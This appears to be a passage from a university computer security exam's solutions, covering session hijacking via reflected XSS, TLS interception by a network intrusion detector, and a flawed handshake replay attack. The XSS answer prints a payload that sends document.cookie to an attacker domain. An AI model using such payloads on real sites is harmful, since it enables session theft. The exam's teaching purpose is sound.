◊ **Question:** How can Mallory pull off her attack and login as her TA? Make sure to include the link she posts on the forum in your answer. If you assume that Mallory's website has any scripts running, you must define what they are and what inputs they take in.

Solution: Mallory can use the reflected XSS vulnerability to grab her TA's cookie, which can then be used to hijack his session and change her grade. She can grab his cookie by making him click the link:

```
http://cs161.org/staff?name=<script>...</script>
```

where the script is something like:

```
<script>window.location='http://mallory.com/grab.cgi?arg='+document.cookie</script>
```

Students were allowed to use JS pseudocode as long as it was clear that their script would do the following three things:

- Opened and closed a <script> tag as the argument to <http://cs161.org/staff>.
- Made a request to <http://mallory.com> using (among other things) `window.location`, GET, or POST.
- Passed `document.cookie` as an argument to one of Mallory's scripts.

Partial credit was given for doing any of the above.

No credit was awarded for attempts to phish or clickjack the TA into entering their credentials into <http://mallory.com>, since you cannot assume the TA will do anything beyond clicking on one link on the forum. Attempts to navigate the TA to <http://mallory.com> and then use JS to get their cookie for <http://cs161.org> also did not get credit, since the SOP prevents this.

Problem 10 Evil TLS

(8 points)

(a) A company wants to protect their web server by installing a new NIDS that will man-in-the-middle and decrypt all HTTPS traffic sent to its web server. The connections are end-to-end encrypted between the clients and the web server, and the NIDS is installed at a location that can see all the encrypted traffic. The NIDS could be passive (only inspects traffic), or it could be active (dropping or injecting packets). If the company gives the NIDS access to the TLS private key for the server, the NIDS will be able to decrypt a TLS connection to the web server if the connection uses...

- RSA TLS, and the NIDS is passive.
- RSA TLS, and the NIDS is active.
- Ephemeral Diffie-Hellman TLS, and the NIDS is passive.
- Ephemeral Diffie-Hellman TLS, and the NIDS is active.

Solution: With RSA TLS, the NIDS can decrypt the PS value sent by the client, so it will be able to decrypt all future traffic in the connection. Even a passive NIDS can do that.

With Diffie-Hellman TLS, a passive NIDS won't know the ephemeral keys a and b generated by the client or server, so it can't decrypt the traffic. An active NIDS could actively man-in-the-middle the connection, creating their own ephemeral keys a' and b' and signing the server $g^{b'}$ mod (p) with the server's TLS key K_{server} .

(b) Imagine that we modify the TLS handshake as follows. Now, the server will be the first to send its nonce R_s . Then, the browser will send both its nonce R_b and the encryption $\{PS\}_{K_{server}}$ of a fresh random PS value to the server. Finally, browser and server compute $R_s \oplus R_b \oplus PS$ and use this as the only input to the PRNG. The cipher and integrity keys for the connection will depend only on $PRNG(R_s \oplus R_b \oplus PS)$.

TRUE or FALSE: This modified handshake is vulnerable to a replay attack.

- TRUE
- FALSE

If yes, fill in the messages that would be sent when performing a replay attack. If not, explain why the scheme is still secure.

◇ If yes, fill in the messages:

1. Server sends nonce: R_{s1}
2. Browser sends nonce: R_{b1}
3. Browser sends encrypted pre-master secret: $E_1 = \{PS_1\}_{K_{server}}$
4. ...
5. Server sends nonce: _____
6. Browser sends nonce: _____
7. Browser sends encrypted pre-master secret: _____

8. ...

◇ **If no, explain on these lines (concisely):**

Solution: The following solution **ALMOST** works: Attacker listens passively on the first TLS connection that uses values $R_{s1}, R_{b1}, E_1 = \{PS_1\}_{K_{server}}$. Then, the attacker forges a new connection impersonating the browser. They receive a new R_{s2} from the server. Then, they choose $R_{b2} = R_{b1} \oplus R_{s1} \oplus R_{s2}$ and they replay the same $E_1 = \{PS_1\}_{K_{server}}$, so $PS_2 = PS_1$. The result is that $R_{s1} \oplus R_{b1} \oplus PS_1 = R_{s2} \oplus R_{b2} \oplus PS_2$. So the same cipher and integrity keys will be used and messages from the first connection can be replayed on the second connection.

But in reality, it **doesn't** work, because of the dialogue check on the MAC! The attacker will be unable to compute the MAC on the new dialogue because they don't have the keys, and the dialogue is now different so the ordinary replay attack won't work.

Selected C Manual Pages

```
FILE *fopen(const char *pathname, const char *mode);
```

The `fopen()` function opens the file whose name is the string pointed to by `_pathname_` and associates a stream with it. If `_mode_` is "rb", this opens the text file for reading. The stream is positioned at the beginning of the file.

```
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
```

The function `fread()` reads `_nmemb_` items of data, each `_size_` bytes long, from the stream pointed to by `_stream_`, storing them at the location given by `_ptr_`.

```
size_t fwrite(void *ptr, size_t size, size_t nmemb, FILE *stream);
```

The function `fwrite()` writes `_nmemb_` items of data, each `_size_` bytes long, to the stream pointed to by `_stream_`, obtaining them from the location given by `_ptr_`.

```
int fclose(FILE *stream);
```

The `fclose()` function flushes the stream pointed to by `_stream_` and closes the underlying file descriptor.




Figure 1: Actual actual reality: nobody cares about his secrets.
(Also, I would be hard-pressed to find that wrench for \$5.)
(Also, why would anyone use a public key algorithm for disk encryption?)